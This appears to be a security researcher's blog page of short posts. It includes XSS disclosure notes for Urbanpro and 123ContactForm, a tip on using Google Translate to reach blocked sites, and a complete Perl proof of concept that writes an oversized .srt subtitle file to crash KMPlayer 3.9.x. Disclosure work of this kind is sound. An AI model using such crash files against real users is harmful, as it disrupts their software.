One More XSS on Urbanpro.com



One More XSS on urbanpro.com


I found XSS and Html Injection on TURBANPRO site long back and reported to them . Beore it was named ThinkVidya.






123Contact - XSS and Html Injection- Hall of Fame




123Contact - XSS and HTML Injection- Hall of Fame 

 # Application   : 123ContactForm  website (http://www.123contactform.com)
# Author        : Noah Franklin J - Security Researcher
# Date          : Jul 31 2015
# OS            : Windows
# Tested on     : Win 7
# Type of vulnerability: Html Injection &  Cross Site Scripting
# Geertz to     : Noah Franklin J
# Use for educational purposes only.
# Note: you are not allowed to edit/modify
# if you do, we cannot be held responsible for any damages this may cause.
# Report Sent : Jul 31 2015
#Response from 123Contactform Support Team :  Aug 4  2015
# Disclosed  123Contactform Support Team : Aug 4  2015
#Hall of Fame on  Aug 12 2015 



POC 









Google Translator Helps To Access Blocked Site-Is it Really India Government has banned 857 porn sites ??


Google Translator Helps To Access  Blocked Site 

Is it Really India Government has banned  857 porn sites ??


After Reaading lots of  News Pages i come to know that indian Govt Banned Porn sites.
Department of Telecom to notify internet service providers to block access to 857 URLs, under the provision of Section 79(3)(b) of the Information Technology Act, 2000 as the content hosted on these websites relate to morality, decency as given in Article 19(2) of the Constitution of India


Those Words Block Access made me to think ? Why they didnt Banned  Porn site .? 

What if any one  used proxy or any other Tools to bypass this ?

My old trick i use this in college days but still effective Google Translator can helps all the sites to Unblock because its runs of https protocols and its product of Google Indian Govt cant banned all https connections like Google , Gmail , Facebook. Including Google Translator.


I Request Indian Govt people to check this Bypassing method to block it properly. List of  Blocked Site below 

http://thelogicalindian.com/news/the-complete-list-of-857-porn-websites-blocked-in-india-and-the-governments-clarification/

 POC to unblock the website :

Blocked not Banned .








KMPlayer 3.9.x - .srt Crash PoC

 

 KMPlayer 3.9.x - .srt Crash PoC

 


Kmplayer

K-Multimedia Player (commonly known as The KMPlayer, KMPlayer or KMP) is a media player for Windows which can play a large number of formats including VCD, DVD, AVI, MKV, Ogg, OGM, 3GP, MPEG-1/2/4, WMV, RealMedia, FLV and QuickTime. It has a significant user base and has received strong ratings and reviews on major independent download sites. Source From Wiki 

 

###################################################################
#!/usr/bin/perl -w
# Title : KMPlayer 3.9.x - Crash Proof Of Concept
# Company : http://www.kmplayer.com
# Tested : Windows 7 / Windows 8.1
#
# Author      :   Peyman Motevalli Manesh
# Demo Tut    :   Noah Franklin J
# facebook.com/noahjfranklin || www.noahfranklin.blogspot.com
##################################################################
# 1 . run perl code : perl km.pl
# 2 . open "kmplayer"
# 3 . Load Subtitle (Peyman.srt)
# 4 . Crashed
##################################################################

$eheader="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x46\x14";
$h="\x42"x9850;
$poc="\x41"x500000;
$poc="$h$poc$eheader";
open (Peyman, '>Peyman.srt');
for ($i=1;$i<=4;$i++){
print Peyman "$i\n00:00:01,800 --> 00:00:05,500\n";
print Peyman $poc;
}
close (Peyman);